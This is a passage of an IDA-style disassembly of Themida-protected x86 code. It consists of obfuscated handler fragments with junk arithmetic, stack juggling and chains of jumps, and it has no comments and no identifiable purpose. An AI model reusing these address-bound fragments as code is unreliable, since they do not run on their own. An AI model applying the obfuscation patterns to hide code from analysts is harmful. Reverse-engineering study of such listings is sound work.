[esp+12h+var_12], eax jmp loc_55E39C ; --------------------------------------------------------------------------- loc_562B92: ; CODE XREF: sub_562ABA+1F34j xor edx, esi pop esi jmp loc_56BAE2 ; --------------------------------------------------------------------------- loc_562B9A: ; CODE XREF: sub_562ABA+5616j xchg edx, [esp+0] pop esp push ebp jmp loc_56C727 ; --------------------------------------------------------------------------- loc_562BA4: ; CODE XREF: sub_562ABA+5A87j mov ebp, esp sub esp, 4 mov [esp+12h+var_12], edi jmp loc_56AF0E ; --------------------------------------------------------------------------- loc_562BB4: ; CODE XREF: sub_562ABA+C711j sub ah, 6Ah add bl, ah jmp loc_560B54 ; --------------------------------------------------------------------------- loc_562BBE: ; CODE XREF: sub_562ABA+ACDBj push 189C4F62h pop eax or eax, 23A3258Dh jmp loc_5663CB ; --------------------------------------------------------------------------- loc_562BCE: ; CODE XREF: sub_562ABA+9FA9j sub ebx, 29C645D3h jmp loc_569CF7 ; --------------------------------------------------------------------------- loc_562BD9: ; CODE XREF: sub_562ABA+243j add eax, ecx jmp loc_561B13 ; --------------------------------------------------------------------------- loc_562BE0: ; CODE XREF: sub_562ABA+9C7Cj xor eax, edx xor edx, eax xor eax, edx not edx jmp loc_56CA68 ; --------------------------------------------------------------------------- loc_562BED: ; CODE XREF: sub_562ABA+A14Ej add esi, edx pop edx pop edi jmp loc_56D553 ; --------------------------------------------------------------------------- loc_562BF6: ; CODE XREF: sub_562ABA+DC7j not [esp+0Ah+var_C+2] pop ebx jmp loc_5685AC ; --------------------------------------------------------------------------- loc_562BFF: ; CODE XREF: sub_562ABA+C2A1j add cl, 15h shl cl, 7 shr cl, 7 jmp loc_570367 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+6+var_8+2] jmp loc_56345D ; --------------------------------------------------------------------------- loc_562C16: ; CODE XREF: sub_55E972+10j mov ecx, [esp+6+var_8+2] jmp loc_560242 ; --------------------------------------------------------------------------- loc_562C1E: ; CODE XREF: sub_562ABA-287Dj mov [esp+0], edi jmp loc_5698C4 ; --------------------------------------------------------------------------- loc_562C26: ; CODE XREF: sub_562ABA+796Aj mov eax, 41297525h jmp loc_568F7E ; --------------------------------------------------------------------------- loc_562C30: ; CODE XREF: sub_562ABA+6D41j pop edi add ecx, edi jmp loc_569F36 ; --------------------------------------------------------------------------- loc_562C38: ; CODE XREF: sub_562ABA+74Ej pop edx add edx, 4 jmp loc_5664C1 ; --------------------------------------------------------------------------- loc_562C44: ; CODE XREF: sub_562ABA+5CAAj mov cl, 0BCh mov ah, 0A6h xor ah, cl pop ecx mov dl, ah jmp loc_5687E5 ; --------------------------------------------------------------------------- loc_562C52: ; CODE XREF: sub_562ABA+9C48j or eax, edx pop edx or eax, 55B3A21h neg eax or eax, 1F660BB1h sub eax, 0FF66CBB7h add ebx, 52F370AAh jmp loc_56DAE0 ; --------------------------------------------------------------------------- loc_562C71: ; CODE XREF: sub_562ABA+6867j add ebp, 4 xchg ebp, [esp-12h+arg_C+2] jmp loc_561912 ; --------------------------------------------------------------------------- loc_562C7F: ; CODE XREF: sub_562ABA+AA8Aj add edx, 780C17CAh push ebp mov ebp, 582A694Bh jmp loc_56208E ; --------------------------------------------------------------------------- loc_562C90: ; CODE XREF: sub_562ABA-1EC0j push [esp+4+var_4] mov edx, [esp+8+var_8] jmp loc_55FC78 ; --------------------------------------------------------------------------- loc_562C9B: ; CODE XREF: sub_562ABA+B1C5j mov [esp+8+var_8], edi mov edi, 2 push edx mov edx, 45B809FFh add ebp, 7B9B5CC1h jmp loc_565B36 ; --------------------------------------------------------------------------- loc_562CB4: ; CODE XREF: sub_562ABA+BF68j add esp, 4 sub esp, 4 jmp loc_572496 ; --------------------------------------------------------------------------- loc_562CC2: ; CODE XREF: sub_562ABA-360Fj pop eax jmp loc_571F2C ; --------------------------------------------------------------------------- loc_562CC8: ; CODE XREF: sub_562ABA+7093j or cl, al pop eax push dx mov dh, 0C2h sub cl, dh pop dx push edx mov dh, cl push eax mov ah, dh mov bl, ah pop eax pop edx pop ecx jmp loc_571284 ; --------------------------------------------------------------------------- loc_562CE3: ; CODE XREF: sub_562ABA+1B14j not bh xchg bh, ch sub ch, 6 sub esp, 4 mov [esp+12h+var_12], ecx jmp loc_560E44 ; --------------------------------------------------------------------------- loc_562CF8: ; CODE XREF: sub_562ABA+178Aj sub eax, 10341F3Dh jmp loc_562BD9 ; --------------------------------------------------------------------------- loc_562D02: ; CODE XREF: sub_562ABA+8870j add ebx, edi add ebx, 4CC40DE9h mov edi, [esp+12h+var_12] add esp, 4 add eax, ebx pop ebx jmp loc_56B2D6 ; --------------------------------------------------------------------------- loc_562D18: ; CODE XREF: sub_562ABA+2486j add bx, 69FCh pop esi jmp sub_55F9E0 ; --------------------------------------------------------------------------- unk_562D23 db 0 ; CODE XREF: sub_562ABA+D773j ; --------------------------------------------------------------------------- fsubr dword ptr [edi+eax*4] jmp loc_567532 ; --------------------------------------------------------------------------- loc_562D2C: ; CODE XREF: sub_562ABA+A760j pop esi shl ebp, 2 jmp loc_560399 ; --------------------------------------------------------------------------- loc_562D35: ; CODE XREF: sub_562ABA+7F1Fj push [esp+2+var_4+2] mov eax, [esp+6+var_8+2] add esp, 4 jmp loc_5699DD ; --------------------------------------------------------------------------- loc_562D43: ; CODE XREF: sub_562ABA-1C9Bj mov edx, 4 jmp loc_56B154 ; --------------------------------------------------------------------------- loc_562D4D: ; CODE XREF: sub_562ABA+493Fj push [esp+46h+var_46] push [esp+4Ah+var_4A] mov edx, [esp+4Eh+var_4E] jmp loc_570D7D ; --------------------------------------------------------------------------- loc_562D5B: ; CODE XREF: sub_562ABA-474j mov ebp, 2773276Ah or ebp, 28ED49CFh dec ebp or ebp, 38B40592h jmp loc_5675DC ; --------------------------------------------------------------------------- loc_562D72: ; CODE XREF: sub_562ABA+526j push edi neg [esp-4+arg_0] pop edi jmp sub_5627AB ; --------------------------------------------------------------------------- mov eax, [esp-8+arg_4] push ebx jmp loc_5631AA ; --------------------------------------------------------------------------- loc_562D85: ; CODE XREF: sub_562ABA+90A7j jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- jmp loc_55E667 ; --------------------------------------------------------------------------- loc_562D8D: ; CODE XREF: sub_562ABA+6DEBj mov [esp-4+arg_0], edi push edx mov edx, 4 mov edi, edx pop edx mov ebp, edi pop edi add esi, ebp pop ebp xor esi, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], esi xor esi, [esp-0Ch+arg_8] pop esp xor ebx, eax movzx ax, byte ptr [eax] push small 1709h mov word ptr [esp-0Eh+arg_8+2], ax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_562DBC: ; CODE XREF: sub_562ABA-320j mov edi, [esp+46h+var_46] add esp, 4 jmp loc_56FD50 ; --------------------------------------------------------------------------- loc_562DCA: ; CODE XREF: sub_562ABA+A4DEj mov edx, [esp+42h+var_42] add esp, 4 mov cl, al jmp loc_5627C0 ; --------------------------------------------------------------------------- loc_562DD7: ; CODE XREF: sub_562ABA+54C3j add ebp, 4 xchg ebp, [esp+3Eh+var_3E] pop esp sub esp, 4 mov [esp+3Eh+var_3E], ecx mov ecx, 4 jmp loc_56D2CC ; --------------------------------------------------------------------------- loc_562DF1: ; CODE XREF: sub_562ABA+9F01j mov [esp+3Eh+var_3E], edx jmp loc_570C25 ; --------------------------------------------------------------------------- loc_562DF9: ; CODE XREF: sub_562ABA+61CDj dec esi push ebx push edx mov edx, 4B3B4731h mov ebx, 8C1557BBh sub ebx, edx pop edx add esi, ebx jmp loc_55F4B0 ; --------------------------------------------------------------------------- loc_562E10: ; CODE XREF: sub_562ABA+6AB4j add eax, ebx add eax, 0CD91EF0h jmp loc_561CF1 ; --------------------------------------------------------------------------- loc_562E1C: ; CODE XREF: sub_562ABA+E4Fj push esi push 33DFh jmp loc_561592 ; --------------------------------------------------------------------------- loc_562E27: ; CODE XREF: sub_562ABA+B4E1j xchg edx, [esp+4Ah+var_4A] pop esp xchg eax, ebx push 8A7h jmp loc_56370A ; --------------------------------------------------------------------------- loc_562E36: ; CODE XREF: sub_562ABA+FDDAj add bl, 5 add bl, 39h add bl, 13h jmp loc_56FEE2 ; --------------------------------------------------------------------------- loc_562E44: ; CODE XREF: sub_562ABA-E26j push esp pop edx jmp loc_563EDC ; --------------------------------------------------------------------------- loc_562E4B: ; CODE XREF: sub_562ABA+C1B4j pop [esp+1Ah+var_1A] pop ebp jmp loc_560D6A ; --------------------------------------------------------------------------- loc_562E54: ; CODE XREF: sub_562ABA+8E41j mov [esp+12h+var_12], esp jmp loc_563329 ; --------------------------------------------------------------------------- loc_562E5C: ; CODE XREF: sub_562ABA+590Aj add edx, ecx jmp loc_563420 ; --------------------------------------------------------------------------- loc_562E63: ; CODE XREF: sub_562ABA+C2C7j xor ecx, 6893B51h inc ecx shl ecx, 7 jmp loc_56E614 ; --------------------------------------------------------------------------- loc_562E72: ; CODE XREF: sub_562ABA-4177j push edi jmp loc_565DE1 ; --------------------------------------------------------------------------- loc_562E78: ; CODE XREF: sub_562ABA+3952j mov ecx, [esp+1Eh+var_1E] add esp, 4 push esi push [esp+1Eh+var_1A] mov esi, [esp+22h+var_22] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+26h+var_28+2] jmp loc_564019 ; --------------------------------------------------------------------------- loc_562E99: ; CODE XREF: sub_562ABA+6678j push ebp jmp loc_56DDCB ; --------------------------------------------------------------------------- loc_562E9F: ; CODE XREF: sub_562ABA-4379j pop eax push ecx mov ecx, 6F7E30EEh neg ecx jmp loc_562846 ; --------------------------------------------------------------------------- loc_562EAD: ; CODE XREF: sub_562ABA+FF23j xor ebp, edx pop edx shr ebp, 5 add ebp, 568728B6h add ebp, 5487C50h sub eax, ebp pop ebp push 2CABh mov [esp+1Eh+var_1E], ebx push 313D5676h mov ebx, [esp+22h+var_22] add esp, 4 sub eax, 47E51A44h add eax, 5C8075F9h add eax, ebx sub eax, 5C8075F9h add eax, 47E51A44h mov ebx, [esp+1Eh+var_1E] add esp, 4 jmp loc_5632D7 ; --------------------------------------------------------------------------- loc_562EF9: ; CODE XREF: sub_562ABA+9770j pop edx sub bh, 7Dh pop ax xor bh, 95h sub al, bh push [esp+14h+var_16+2] jmp loc_56F62F ; --------------------------------------------------------------------------- loc_562F0C: ; CODE XREF: sub_562ABA+61Dj push edi mov edi, 2B69013Ch jmp loc_5701A9 ; --------------------------------------------------------------------------- loc_562F17: ; CODE XREF: sub_562ABA+494Fj mov [esp+1Ch+var_1E+2], ecx push 59DFh mov [esp+20h+var_22+2], eax mov eax, 4 jmp loc_56E04E ; --------------------------------------------------------------------------- loc_562F2C: ; CODE XREF: sub_562ABA+2D9Bj mov eax, ebp pop ebp xor ecx, eax mov eax, [esp+1Ch+var_1E+2] add esp, 4 push 3BC9h mov [esp+1Ch+var_1E+2], ecx pop esi pop ecx jmp loc_569849 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_562F4E: ; CODE XREF: sub_562ABA+5AE8j mov bl, 0D8h push edx mov dh, 21h dec dh jmp loc_566A53 ; --------------------------------------------------------------------------- loc_562F5A: ; CODE XREF: sub_562ABA+420Ej mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+14h+var_16+2] pop esp mov [esp+10h+var_12+2], edi mov edi, 403932E4h push edx jmp loc_562514 ; --------------------------------------------------------------------------- loc_562F77: ; CODE XREF: sub_562ABA+CB8Fj add edx, 4 xchg edx, [esp+14h+var_16+2] pop esp push esi push ecx mov ecx, 2 mov esi, ecx jmp loc_57086E ; --------------------------------------------------------------------------- loc_562F8F: ; DATA XREF: Themida_:0055DDC4o push eax push ebp mov ebp, 20D24F3Ch jmp loc_56E6DE ; --------------------------------------------------------------------------- loc_562F9B: ; CODE XREF: sub_562ABA-10F6j xor ecx, [esp+6+var_8+2] xor [esp+6+var_8+2], ecx xor ecx, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] mov cx, word ptr [esp+6+var_8+2] jmp loc_5707AF ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push small 2FCBh mov word ptr [esp+8+var_8], ax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_562FC1: ; CODE XREF: sub_562ABA+8D1Bj push 58F6h mov [esp+0Ch+var_C], ecx jmp loc_5711BD ; --------------------------------------------------------------------------- loc_562FCE: ; CODE XREF: sub_562ABA+FF52j mov esp, [esp+0Ch+var_C] jmp loc_56FF92 ; --------------------------------------------------------------------------- loc_562FD6: ; CODE XREF: sub_562ABA+82C1j mov ebp, 1C3A1DBAh inc ebp shr ebp, 1 xchg edi, ebp jmp loc_562D72 ; --------------------------------------------------------------------------- loc_562FE5: ; CODE XREF: sub_562ABA+EDE4j push ecx mov cl, 0B6h sub cl, 30h xor cl, 0C9h xor cl, 9Ah neg cl push bx jmp loc_5630E4 ; --------------------------------------------------------------------------- loc_562FFA: ; CODE XREF: sub_562ABA+EA8Ej xor ecx, [esp+12h+var_12] jmp loc_571D8F ; --------------------------------------------------------------------------- loc_563002: ; CODE XREF: sub_562ABA-1019j neg eax add eax, 2087709Dh jmp loc_56F9B1 ; --------------------------------------------------------------------------- loc_56300E: ; CODE XREF: sub_562ABA+2AEDj mov eax, 1B7D4A4Fh xor eax, 14C5B2Dh mov edx, eax mov eax, [esp+26h+var_28+2] add esp, 4 push eax mov eax, 212F1E69h sub eax, 53586945h sub eax, 5B167DE9h and edx, eax pop eax sub edx, 5E94310Ch push 4396h mov [esp+26h+var_28+2], ebp push ebx push ecx mov ecx, 38281D5Dh sub ecx, 1BDBD502h mov ebx, ecx pop ecx mov ebp, 3CFEA1E7h sub ebp, ebx pop ebx and ebp, 35416FC5h dec ebp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+2Ah+var_2C+2] jmp loc_56E92B ; --------------------------------------------------------------------------- loc_56307A: ; CODE XREF: sub_562ABA+8346j mov eax, 4 jmp loc_564690 ; --------------------------------------------------------------------------- loc_563084: ; CODE XREF: sub_562ABA-237Bj add esp, 4 neg edx sub edx, 6D4609ACh shl edx, 2 shr edx, 5 sub esp, 4 jmp loc_55F96A ; --------------------------------------------------------------------------- loc_5630A3: ; CODE XREF: sub_562ABA+E962j xchg esi, [esp+0] mov esp, [esp+0] not esi push edi jmp loc_566779 ; --------------------------------------------------------------------------- loc_5630B1: ; CODE XREF: sub_562ABA-D73j push 4F3Ch mov [esp+0Ah+var_C+2], ecx mov ecx, 758F59A6h and ecx, 15F50AB3h shr ecx, 6 add ecx, 0FFFFFFFFh xor ecx, 59AB1030h sub eax, 6BAC7D0Bh sub eax, ecx jmp loc_562F0C ; --------------------------------------------------------------------------- loc_5630DC: ; CODE XREF: sub_562ABA+91CEj push [esp+0Ah+var_C+2] jmp loc_564472 ; --------------------------------------------------------------------------- loc_5630E4: ; CODE XREF: sub_562ABA+53Bj mov bl, 7Fh xor cl, bl pop bx mov al, cl pop ecx inc al or al, 8Eh jmp loc_561CFC ; --------------------------------------------------------------------------- loc_5630F6: ; CODE XREF: sub_562ABA+4EE1j sub ebp, 9920CDD3h add edx, ebp push [esp+0Ch+var_C] pop ebp add esp, 4 add edx, 4 xor edx, [esp+8+var_8] xor [esp+8+var_8], edx jmp loc_56B1FC ; --------------------------------------------------------------------------- loc_563116: ; CODE XREF: sub_562ABA-4069j mov esi, 1146389Ch jmp loc_56FF46 ; --------------------------------------------------------------------------- loc_563120: ; CODE XREF: sub_562ABA+5D45j push eax jmp loc_55E67E ; --------------------------------------------------------------------------- loc_563126: ; CODE XREF: sub_562ABA+3D94j push esp jmp loc_56CDB2 ; --------------------------------------------------------------------------- loc_56312C: ; CODE XREF: sub_562ABA-4666j pop esp mov eax, [esp-0Ch+arg_8] jmp loc_5627CE ; --------------------------------------------------------------------------- loc_563135: ; CODE XREF: sub_562ABA+AF9Ej mov esp, [esp-0Ch+arg_8] or byte ptr [esp-0Ch+arg_8], al pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_563141: ; CODE XREF: sub_562ABA+6D8Aj sub edi, esi pop esi jmp loc_56BB39 ; --------------------------------------------------------------------------- loc_563149: ; CODE XREF: sub_562ABA+237Aj push 6CCCh mov [esp-8+arg_4], esp add [esp-8+arg_4], 4 push [esp-8+arg_4] pop ebp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-4+arg_0] pop esp jmp loc_56FBE6 ; --------------------------------------------------------------------------- loc_563174: ; CODE XREF: sub_562ABA+3C21j sub ecx, 3FC63350h jmp loc_564727 ; --------------------------------------------------------------------------- loc_56317F: ; CODE XREF: sub_562ABA+D628j add esp, 4 add ebp, edi pop edi xchg ebp, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] mul ecx push 6BC2h jmp loc_5719D7 ; --------------------------------------------------------------------------- loc_56319A: ; CODE XREF: sub_562ABA+4479j inc eax jmp loc_563ABA ; --------------------------------------------------------------------------- loc_5631A0: ; CODE XREF: sub_562ABA+FF85j and eax, ebx mov ebx, [esp-0Ch+arg_8] jmp loc_561B36 ; --------------------------------------------------------------------------- loc_5631AA: ; CODE XREF: sub_562ABA+2C6j push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp-4+arg_0] pop esp push edx jmp loc_56B525 ; --------------------------------------------------------------------------- loc_5631BF: ; CODE XREF: sub_562ABA+4128j add eax, edx pop edx push ebx mov ebx, 63B91380h jmp loc_568177 ; --------------------------------------------------------------------------- loc_5631CD: ; CODE XREF: sub_562ABA+ACFj add esp, 4 push bx push eax push ecx mov cl, 0D6h sub cl, 40h mov al, cl pop ecx xor al, 0C1h add al, 0A0h push ecx jmp loc_562579 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp+0], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5631F8: ; CODE XREF: sub_562ABA-EA5j pop ecx neg edi neg edi jmp loc_56B938 ; --------------------------------------------------------------------------- loc_563202: ; CODE XREF: sub_562ABA+97F3j pop [esp+0Ch+var_C] pop esp push edx push esp jmp loc_562C38 ; --------------------------------------------------------------------------- loc_56320D: ; CODE XREF: sub_562ABA+3621j mov ebp, 33447A3Fh or edi, ebp pop ebp dec edi push ebx jmp loc_5634B6 ; --------------------------------------------------------------------------- loc_56321C: ; CODE XREF: sub_562ABA+A076j sub edx, 733B0698h add edx, edi add edx, 733B0698h sub edx, 5F4E67E9h jmp loc_572A87 ; --------------------------------------------------------------------------- loc_563235: ; CODE XREF: sub_562ABA-3EA4j xor eax, 764F1BC9h sub ebx, eax mov eax, [esp+0] add esp, 4 sub ebx, esi add ebx, 1A172773h add ebx, 3D786091h sub esp, 4 mov [esp+0], ebp push edi mov edi, 6BEA4474h jmp loc_56BECB ; --------------------------------------------------------------------------- loc_563264: ; CODE XREF: sub_562ABA+BE94j push eax push esp pop eax push eax mov eax, esp jmp loc_561EDA ; --------------------------------------------------------------------------- loc_56326F: ; CODE XREF: sub_562ABA+8592j mov si, bx pop ebx jmp loc_57061A ; --------------------------------------------------------------------------- loc_563278: ; CODE XREF: sub_562ABA+E7A7j add esi, ebp pop ebp xchg esi, [esp+32h+var_32] mov esp, [esp+32h+var_32] sub esp, 4 mov [esp+36h+var_36], ecx mov ecx, 24h add ecx, edi add [ecx], esi jmp loc_56AA99 ; --------------------------------------------------------------------------- loc_563295: ; CODE XREF: sub_562ABA+A63j sub ecx, 0AB8FFF96h jmp loc_561C13 ; --------------------------------------------------------------------------- loc_5632A0: ; CODE XREF: sub_562ABA+FD01j mov edi, edx push [esp+36h+var_36] pop edx push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp+3Ah+var_3A] pop esp jmp loc_56D9DA ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5632C2: ; CODE XREF: sub_562ABA+B26Ej add bh, cl mov cx, word ptr [esp+32h+var_32] add esp, 2 add al, bh pop ebx sub al, 0D1h sub al, dl jmp loc_56F26A ; --------------------------------------------------------------------------- loc_5632D7: ; CODE XREF: sub_562ABA+43Aj sub eax, ebx sub eax, 313D5676h jmp loc_57207E ; --------------------------------------------------------------------------- loc_5632E3: ; CODE XREF: sub_562ABA+BBDCj push edx jmp sub_5722B7 ; --------------------------------------------------------------------------- loc_5632E9: ; CODE XREF: sub_561F0E+17j xchg ebp, [esp+1Eh+var_1E] pop esp pop [esp+1Ah+var_1A] mov esp, [esp+16h+var_16] bswap eax push 3E28h mov [esp+1Ah+var_1A], eax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_563302: ; CODE XREF: sub_562ABA+9D1Fj neg ebp jmp loc_5729AA ; --------------------------------------------------------------------------- loc_563309: ; CODE XREF: sub_562ABA+4468j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56330E: ; CODE XREF: sub_562ABA+D551j pop ecx sub ecx, eax push [esp+16h+var_16] jmp loc_56A129 ; --------------------------------------------------------------------------- loc_563319: ; CODE XREF: sub_562ABA+439Fj mov esi, 4 sub edi, 7EB9621Bh jmp loc_560354 ; --------------------------------------------------------------------------- loc_563329: ; CODE XREF: sub_562ABA+39Dj push edi mov edi, 4 add [esp+16h+var_12], edi mov edi, [esp+16h+var_16] add esp, 4 push [esp+12h+var_12] pop eax add esp, 4 push 749Dh mov [esp+12h+var_12], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+12h+var_12] pop esp jmp loc_56511E ; --------------------------------------------------------------------------- loc_56335B: ; CODE XREF: sub_562ABA-1D70j mov edx, [esp+2Ah+var_2C+2] push 2E57h mov [esp+0], esi mov esi, esp jmp loc_55E9F5 ; --------------------------------------------------------------------------- loc_56336D: ; CODE XREF: sub_562ABA+C4F1j add edx, eax jmp loc_570826 ; --------------------------------------------------------------------------- loc_563374: ; CODE XREF: sub_562ABA+BB0j or esi, 44C741E6h push ecx mov ecx, 305F3B40h xor ecx, 1C3362Bh add ecx, 8A8CAE5Eh sub esi, ecx pop ecx xor edi, esi jmp loc_56642F ; --------------------------------------------------------------------------- loc_563396: ; CODE XREF: sub_562ABA+F3CCj add [esp+2Eh+var_2C+2], 52FB71CBh add [esp+2Eh+var_2C+2], eax sub [esp+2Eh+var_2C+2], 52FB71CBh add [esp+2Eh+var_2C+2], 14AA2F0Eh mov eax, [esp+0] sub esp, 4 mov [esp+32h+var_32], edi jmp loc_56A8FA ; --------------------------------------------------------------------------- loc_5633C3: ; CODE XREF: sub_562ABA+587Ej mov [esp+32h+var_32], esp add [esp+32h+var_32], 4 pop ebp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] jmp loc_566B51 ; --------------------------------------------------------------------------- loc_5633E8: ; CODE XREF: sub_562ABA-4413j xor ecx, [esp+1Ah+var_1A] xor [esp+1Ah+var_1A], ecx jmp loc_570D4C ; --------------------------------------------------------------------------- loc_5633F3: ; CODE XREF: sub_562ABA+C650j pop eax xor eax, 3D893D67h jmp loc_56CA20 ; --------------------------------------------------------------------------- loc_5633FE: ; CODE XREF: sub_562ABA+E71j mov esi, ecx push esi jmp loc_55EBCA ; --------------------------------------------------------------------------- loc_563406: ; CODE XREF: sub_562ABA-34B2j add dl, 44h mov ch, dl pop edx add ch, bh mov ebx, [esp-20h+arg_1C] jmp loc_56235E ; --------------------------------------------------------------------------- loc_563416: ; CODE XREF: sub_562ABA+A518j push 5B82h jmp loc_56F7E4 ; --------------------------------------------------------------------------- loc_563420: ; CODE XREF: sub_562ABA+3A4j add edx, 640F7B9Eh add edx, 7C16597Dh jmp loc_56ABC5 ; --------------------------------------------------------------------------- loc_563431: ; CODE XREF: sub_560BA1+19j mov ebp, 64AB680Ch mov edx, 1274A48Eh add edx, ebp mov ebp, [esp+12h+var_12] jmp loc_56F15E ; --------------------------------------------------------------------------- loc_563445: ; CODE XREF: sub_562ABA-4935j push [esp+0Ah+var_8+2] pop eax pop [esp+0Ah+var_C+2] jmp loc_567094 ; --------------------------------------------------------------------------- loc_563452: ; CODE XREF: sub_562ABA+3A69j sub esp, 4 mov [esp+0Ah+var_C+2], ebx jmp loc_568B28 ; --------------------------------------------------------------------------- loc_56345D: ; CODE XREF: sub_562ABA+157j push edx push 74A3h jmp loc_561718 ; --------------------------------------------------------------------------- loc_563468: ; CODE XREF: sub_562ABA+DBE9j sub edi, 4 xchg edi, [esp+0] mov esp, [esp+0] jmp loc_56ADFD ; --------------------------------------------------------------------------- loc_563476: ; CODE XREF: sub_560757+1j mov ebx, 65AE0E03h or eax, ebx mov ebx, [esp+0] add esp, 4 jmp loc_56F896 ; --------------------------------------------------------------------------- loc_563488: ; CODE XREF: sub_562ABA+2FAFj push 56F10FF3h mov esi, [esp+0] add esp, 4 not esi push ecx push esi mov esi, 0DAC38B7h mov ecx, 5443B660h sub ecx, esi pop esi jmp loc_56E77F ; --------------------------------------------------------------------------- loc_5634AC: ; CODE XREF: sub_562ABA+7189j mov edi, 5D2467BEh jmp loc_5639B9 ; --------------------------------------------------------------------------- loc_5634B6: ; CODE XREF: sub_562ABA+75Dj mov ebx, 0E79D12B3h jmp loc_56862B ; --------------------------------------------------------------------------- loc_5634C0: ; CODE XREF: sub_562ABA+BAD0j add ebx, edi push [esp+0Ch+var_C] mov edi, [esp+10h+var_12+2] jmp loc_56B02D ; --------------------------------------------------------------------------- loc_5634CD: ; CODE XREF: sub_562ABA+709Ej push eax mov eax, 4 jmp loc_566507 ; --------------------------------------------------------------------------- loc_5634D8: ; CODE XREF: sub_55E87E+12j pop ebp add edx, 3EE86477h add edx, edi jmp loc_568C9E ; --------------------------------------------------------------------------- loc_5634E6: ; CODE XREF: sub_562ABA+95C1j pop eax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5634EC: ; CODE XREF: sub_562ABA+6264j push esi mov esi, esp sub esp, 4 mov [esp+14h+var_16+2], ecx jmp loc_564353 ; --------------------------------------------------------------------------- loc_5634FA: ; CODE XREF: sub_55FCA5+207j xor eax, [esp+14h+var_16+2] xor [esp+14h+var_16+2], eax xor eax, [esp+14h+var_16+2] pop esp push 7EDFh mov [esp+14h+var_16+2], esi jmp loc_56FC5F ; --------------------------------------------------------------------------- loc_563511: ; CODE XREF: sub_562ABA+266Dj mov edi, 3CAC2728h inc edi push ecx mov ecx, 0B244A30h jmp loc_563295 ; --------------------------------------------------------------------------- loc_563522: ; CODE XREF: sub_562ABA-7A2j add ebx, 0B328DEDEh push esi push ebx add [esp+4Ah+var_4A], 6CCB13DFh pop esi jmp loc_5611EE ; --------------------------------------------------------------------------- loc_563537: ; CODE XREF: sub_562ABA-D0Ej add esp, 4 sub ebp, ebx jmp loc_56F6A4 ; --------------------------------------------------------------------------- loc_563544: ; CODE XREF: sub_562ABA+EFB9j xor ebp, [esp+3Ah+var_3A] pop esp jmp loc_5666EE ; --------------------------------------------------------------------------- loc_56354D: ; CODE XREF: sub_562ABA+15ADj mov ecx, 4 push ecx add [esp+3Ah+var_3A], 37852610h pop edx sub edx, 37852610h pop ecx add esi, edx mov edx, [esp+32h+var_32] push ebp mov ebp, esp jmp loc_56520B ; --------------------------------------------------------------------------- loc_56356F: ; CODE XREF: sub_562ABA+962Cj pop ecx mov bh, al mov eax, [esp+32h+var_32] add esp, 4 shr bh, 4 neg bh sub bh, 95h sub al, 2Eh sub al, bh add al, 2Eh mov ebx, [esp+0] jmp loc_5631CD ; --------------------------------------------------------------------------- loc_56358E: ; CODE XREF: sub_55FCA5+30j push edi mov edi, 557A5EBDh sub edi, 2AE2799Dh jmp loc_56AFC0 ; --------------------------------------------------------------------------- loc_56359F: ; CODE XREF: sub_562ABA+55B2j pop edx dec esi jmp loc_56376A ; --------------------------------------------------------------------------- loc_5635A6: ; CODE XREF: sub_562ABA+3C65j pop eax jmp loc_572A2C ; --------------------------------------------------------------------------- loc_5635AC: ; CODE XREF: sub_562ABA+9ED1j add edx, 61EC771Fh jmp loc_56D4A5 ; --------------------------------------------------------------------------- loc_5635B7: ; CODE XREF: sub_562ABA+62B0j mov ecx, 309521B0h push ecx not dword ptr [esp+0] jmp loc_56DA2F ; --------------------------------------------------------------------------- loc_5635C5: ; CODE XREF: sub_562ABA+E6F3j push ecx mov ecx, esp push ebp mov ebp, 558275CAh add ebp, 32E92880h add ebp, 0F0E3FAEh sub ebp, 56BA1D2Dh dec ebp sub ebp, 25737583h sub esp, 4 mov [esp+3Ah+var_3A], eax jmp loc_5672A5 ; --------------------------------------------------------------------------- loc_5635F2: ; CODE XREF: sub_562ABA+3A2Fj mov esp, [esp+3Ah+var_3A] mov [esp+3Ah+var_3A], eax push ecx mov eax, [esp+3Eh+var_3E] push 69BDh mov [esp+42h+var_42], ecx mov ecx, esp push eax mov eax, 647F2CEAh shl eax, 1 jmp loc_566565 ; --------------------------------------------------------------------------- loc_563613: ; CODE XREF: sub_562ABA+B552j push 3876h mov [esp+4Ah+var_4A], edx push [esp+4Ah+var_4A] pop eax add esp, 4 mov edx, [esp+46h+var_46] add esp, 4 push ebp push ebx push ebp push eax mov eax, 227D61E9h mov ebp, 40BA2468h xor ebp, eax pop eax inc ebp xor ebp, 61651D4Fh push ebp xchg ecx, [esp+52h+var_52] jmp loc_5657BF ; --------------------------------------------------------------------------- loc_56364F: ; CODE XREF: sub_562ABA+AE27j push esi mov esi, 0ADE5999h xor esi, 4D8A4CDAh jmp loc_56460D ; --------------------------------------------------------------------------- loc_563660: ; CODE XREF: sub_562ABA-1690j mov esi, 52683232h neg esi not esi inc esi jmp loc_563374 ; --------------------------------------------------------------------------- loc_56366F: ; CODE XREF: sub_562ABA+9124j dec eax not eax xor eax, 861CED18h sub ebx, eax pop eax push edx mov edx, 710145ADh xor edx, 0FD80CA03h jmp 